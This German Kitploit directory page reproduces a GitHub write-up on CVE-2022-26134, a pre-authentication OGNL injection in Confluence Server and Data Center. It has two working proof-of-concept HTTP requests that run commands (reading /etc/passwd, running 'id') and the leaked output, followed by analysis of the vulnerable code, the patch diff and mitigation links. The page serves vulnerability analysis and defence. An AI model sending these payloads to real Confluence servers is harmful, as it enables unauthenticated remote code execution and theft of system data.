Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-26134 — [CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection | Kitploit
Tools/GitHubGitHub/murataydemir/cve-2022-26134
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubmurataydemir/cve-2022-26134

CVE-2022-26134

[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection

Repository anzeigen
13vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL)-Injektion


Confluence ist ein webbasiertes Kollaborationsprodukt für Arbeitsbereiche, das von Atlassian entwickelt wird. Es kann lokal (on-prem) oder als Teil von Atlassian Cloud bereitgestellt werden. Es besteht aus drei Hauptfunktionen: Seite, Space (Bereich) und Seitenbaum.

  • Seite: Ihre Inhalte leben in Seiten – lebende Dokumente, die Sie auf Ihrer Confluence-Site erstellen. Sie können Seiten für fast alles erstellen, von Projektplänen über Besprechungsnotizen, Fehlerbehebungsanleitungen, Richtlinien und mehr.
  • Space: Seiten werden in Spaces gespeichert – Arbeitsbereichen, in denen Sie zusammenarbeiten und alle Ihre Inhalte organisiert halten können.
  • Seitenbaum: Organisieren Sie Space-Inhalte mit einem hierarchischen Seitenbaum, der das Auffinden von Arbeiten schnell und einfach macht. Verschachteln Sie Seiten unter zugehörigen Spaces und Seiten, um Seiten nahezu beliebig zu organisieren.

Am 02.06.2022 um 20:00 UTC hat Atlassian ein Sicherheitsadvisory veröffentlicht, das sich auf eine Schwachstelle zur Remote-Codeausführung (RCE) bezieht, die Confluence Server und Confluence Data Center Produkte betrifft. Detaillierte Informationen zur CVE-2022-26134-Schwachstelle finden Sie weiter unten.

Zusammenfassung: CVE-2022-26134 – Kritische Schwachstelle für nicht authentifizierte Remote-Codeausführung in Confluence Server und Data Center
Veröffentlichungsdatum des Advisories: 02. Juni 2022
Betroffene Produkte: Confluence Server und Confluence Data Center
Betroffene Versionen: Alle unterstützten Versionen von Confluence Server und Data Center sind betroffen. Confluence Server- und Data Center-Versionen nach 1.3.0 sind betroffen.
Behobene Versionen: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 und 7.18.1
CVE-ID(s): CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language (OGNL)-Injektion

Proof of Concept: Beispielanfrage 1

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Antwort 1

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

PoC-1

Proof of Concept: Beispielanfrage 2

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Antwort 2

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close

PoC-2
Wie funktioniert die Schwachstelle?
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ in der URL wird von Confluence als Namespace geparst. Anschließend verwendet der Code translateVariables (Teil der Text-Parsing-Dienstprogramme in Confluence) auf diesen Namespace. Da translateVariables OGNL verwendet, wird der Angriff geparst und ausgewertet.

OgnlValueStack findValue(str) ist wichtig, da es der Ausgangspunkt für die Auswertung des OGNL-Ausdrucks ist. Wie Sie im folgenden Ausschnitt sehen können, ruft TextParseUtil.class OgnlValueStack.findValue auf, wenn diese Schwachstelle ausgenutzt wird.

root@kitploit:~
public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class ruft TextParseUtil.translateVariables mit this.namespace als bereitgestellten Ausdruck auf:

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

Wobei namespace aus der Request-URI-Zeichenfolge in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath erstellt wird:

root@kitploit:~
public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

Das Ergebnis ist, dass die vom Angreifer bereitgestellte URI in einen Namespace übersetzt wird, der dann bis zur OGNL-Ausdrucksauswertung weitergereicht wird. Auf hoher Ebene ist dies sehr ähnlich zu CVE-2018-11776, der Apache Struts2 Namespace-OGNL-Injektionsschwachstelle.

Die Patch-Analyse
Atlassian wies Kunden an, xwork-1.0.3.6.jar durch ein neu veröffentlichtes xwork-1.0.3-atlassian-10.jar zu ersetzen. Die xwork-JAR-Dateien enthalten die ActionChainResult.class und TextParseUtil.class, die wir als Pfad zur Auswertung von OGNL-Ausdrücken identifiziert haben.

Der Patch nimmt eine Reihe kleiner Änderungen vor, um dieses Problem zu beheben. So wird namespace nicht mehr von ActionChainResult.execute an TextParseUtil.translateVariables weitergereicht:

Vorher

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

Nachher

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

PoC-3

Dank der Ausgabe des git-diff-Befehls können Sie die Unterschiede vor und nach dem Patch bei ActionChainResult.class im folgenden Screenshot sehen. (Kopiert aus Datalog-Blogbeitrag)

PoC-5

Atlassian hat außerdem SafeExpressionUtil.class zum xworks-JAR hinzugefügt. SafeExpressionUtil.class filtert unsichere Ausdrücke und wurde in OgnlValueStack.class eingefügt, um Ausdrücke zu untersuchen, wenn findValue aufgerufen wird. Zum Beispiel:

root@kitploit:~
public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

PoC-4

Was können Unternehmen tun, um sich vor dieser Schwachstelle zu schützen?
Da jetzt ein Patch verfügbar ist, aktualisieren Sie bitte auf eine behobene Version von Confluence. Falls ein Patch derzeit nicht möglich ist, hat Atlassian für Kunden temporäre Workaround-Anleitungen basierend auf ihren Confluence-Versionen bereitgestellt. Beide erfordern, Confluence vorübergehend herunterzufahren, während die Abschwächungen (Mitigations) angewendet werden. Weitere Informationen finden Sie in der spezifischen Anleitung des Atlassian-Advisories:

  • Für Confluence 7.15.0 - 7.18.0
  • Für Confluence 7.0.0 - Confluence 7.14.2

Weitere Informationen zur Behebung dieser Schwachstelle finden Sie unter den folgenden Ressourcen:

  • Original-Blogbeitrag: Volexity: Zero-Day-Ausnutzung von Atlassian Confluence
  • Referenzen für technische Analysen: AttackerDB: CVE-2022-26134 | Datadog: Die Confluence-RCE-Schwachstelle (CVE-2022-26134): Überblick, Erkennung und Behebung
  • CVE-2022-26134: Zero-Day-Schwachstelle in Atlassian Confluence Server und Data Center in freier Wildbahn ausgenutzt
  • Aktive Ausnutzung von Confluence CVE-2022-26134
  • Confluence-Sicherheitsadvisory 2022-06-02
Tool herunterladen